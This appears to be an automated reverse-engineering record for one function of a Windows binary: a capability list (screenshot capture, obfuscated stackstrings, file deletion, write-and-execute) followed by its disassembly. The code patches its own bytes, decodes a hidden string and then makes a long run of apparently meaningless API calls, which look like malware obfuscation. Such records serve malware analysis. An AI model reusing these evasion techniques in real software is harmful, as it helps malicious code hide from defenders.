Function at 0xa8e000
Capabilities:
Accept command line arguments
Capture screenshot
Clear file content
Connect pipe
Contain obfuscated stackstrings
Delete file
Delete registry key
Enumerate files on windows
Enumerate gui resources
Get geographical location
Get keyboard layout
Get thread local storage value
Query environment variable
Query or enumerate registry value
Terminate process
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 0x10], 0xa8efdc
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa8e039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa8e211
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa8e0bb
call fcn.0046c172
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa8e07d
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa8e097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa8e097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa8e04d
mov byte [ebp - 0x80], 1
mov byte [ebp - 0x7f], 0x76
mov byte [ebp - 0x7e], 4
mov byte [ebp - 0x7d], 0x7a
mov byte [ebp - 0x7c], 0x21
mov byte [ebp - 0x7b], 0x5d
mov byte [ebp - 0x7a], 0xdc
mov byte [ebp - 0x79], 0x39
mov byte [ebp - 0x78], 0x49
mov byte [ebp - 0x77], 0x92
mov byte [ebp - 0x76], 0x7b
mov byte [ebp - 0x75], 0xe4
mov byte [ebp - 0x74], 0xe9
mov byte [ebp - 0x73], 0xf
mov byte [ebp - 0x72], 0x2d
mov byte [ebp - 0x71], 0x93
mov byte [ebp - 0x70], 0xd2
mov byte [ebp - 0x6f], 0xb1
mov byte [ebp - 0x6e], 0x6e
mov byte [ebp - 0x6d], 0x9b
mov byte [ebp - 0x6c], 0x95
mov byte [ebp - 0x6b], 0x17
mov byte [ebp - 0x6a], 0x6e
mov byte [ebp - 0x69], 0x41
mov byte [ebp - 0x68], 0xf3
mov byte [ebp - 0x67], 0x4d
mov byte [ebp - 0x66], 0x1f
mov byte [ebp - 0x65], 0x7d
mov byte [ebp - 0x64], 0x95
mov byte [ebp - 0x63], 0xa7
mov byte [ebp - 0x62], 0x8c
mov byte [ebp - 0x61], 0xfd
mov byte [ebp - 0x60], 0xfe
mov byte [ebp - 0x5f], 0xf0
mov byte [ebp - 0x5e], 0x6c
mov byte [ebp - 0x5d], 0x6d
mov byte [ebp - 0x5c], 0xbd
mov byte [ebp - 0x5b], 3
mov byte [ebp - 0x5a], 0x25
mov byte [ebp - 0x59], 8
mov byte [ebp - 0x58], 0x77
mov byte [ebp - 0x57], 7
mov byte [ebp - 0x56], 0x6a
mov byte [ebp - 0x55], 0
mov byte [ebp - 0x54], 0x7d
mov byte [ebp - 0x53], 2
mov byte [ebp - 0x52], 0x7b
mov byte [ebp - 0x51], 5
mov byte [ebp - 0x50], 0x78
mov byte [ebp - 0x4f], 6
mov byte [ebp - 0x4e], 0x7f
mov byte [ebp - 0x4d], 9
mov byte [ebp - 0x4c], 0x7c
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa8e1a1
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x35
jae 0xa8e206
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x80]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa8e1cd
mov dword [ebp - 0x24], 0x21
mov eax, dword [ebp - 8]
add eax, 0x1f
mov dword [ebp - 8], eax
jmp 0xa8e199
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7f]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa8e1f5
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa8e1e2
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x80]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa8e199
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa8353a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004079bd
mov ecx, eax
call fcn.00402ece
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402e72
and dword [ebp - 0x1c], 0
jmp 0xa8e249
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa8e259
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa8e242
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
push 0
push 0x9a4
push 0x903
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 0x63d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0x13ac
push 0x195b
push 0x20a4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0xe9e
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push 0
push 0x8e2
push 0x10fd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0x118e
push 0x2407
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x16fd
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x18da
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0x1aa8
push 0x751
push 0x3a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0x872
push 0x1e17
push 1
push 0
push 0x2661
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0
push 0
push 0x234b
push 0
push 0x1448
push 0
push 0x2202
push 0x24d7
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x189e
push 0x722
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0x10a9
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
push 0x2384
push 0x134e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0x1bb2
push 0
push 0
push 0xf68
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0
push 0xaec
push 0x172
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0x223c
push 0x2695
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0x814
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0x12d
push 0x23a4
push 0x2594
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 0x10e3
push 0x14ed
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0x7bc
push 0x195
push 0
push 0
push 0x189a
push 0x10e1
push 0x167d
push 0xa06
push 0xf4
push 0x594
push 0x279
push 0x773
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0xf41
push 0x12fd
push 0x124e
push 0x11c0
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x1762
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x2067
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
push 0
call dword [sym.imp.USER32.dll_SetCursor]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0x2127
push 0
push 0
push 0x15e
push 0xa90
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
push 0x2b9
push 0x130b
call dword [sym.imp.USER32.dll_SetCaretPos]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x116a
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
push 0
push 0
push 0
push 0
push 0x1b02
push 1
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0x252
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0x1db9
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0
push 0x1b0
push 0
push 0
push 0x1c18
push 0xaf3
push 0xc7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
push 0
push 0
push 0x1f6c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0
push 0
push 0x102f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 0
push 0x1e9e
push 0x2700
push 0x1b29
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0x1499
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0x3db
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0xc83
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0
push 0x14c4
call dword [sym.imp.ADVAPI32.dll_CopySid]
call dword [sym.imp.USER32.dll_DestroyCaret]
push 0
push 0
push 0x2bd
push 0x2034
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0x1ffd
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0x24b6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0
push 0x1912
push 0x7aa
push 0xa47
call dword [sym.imp.KERNEL32.dll_RaiseException]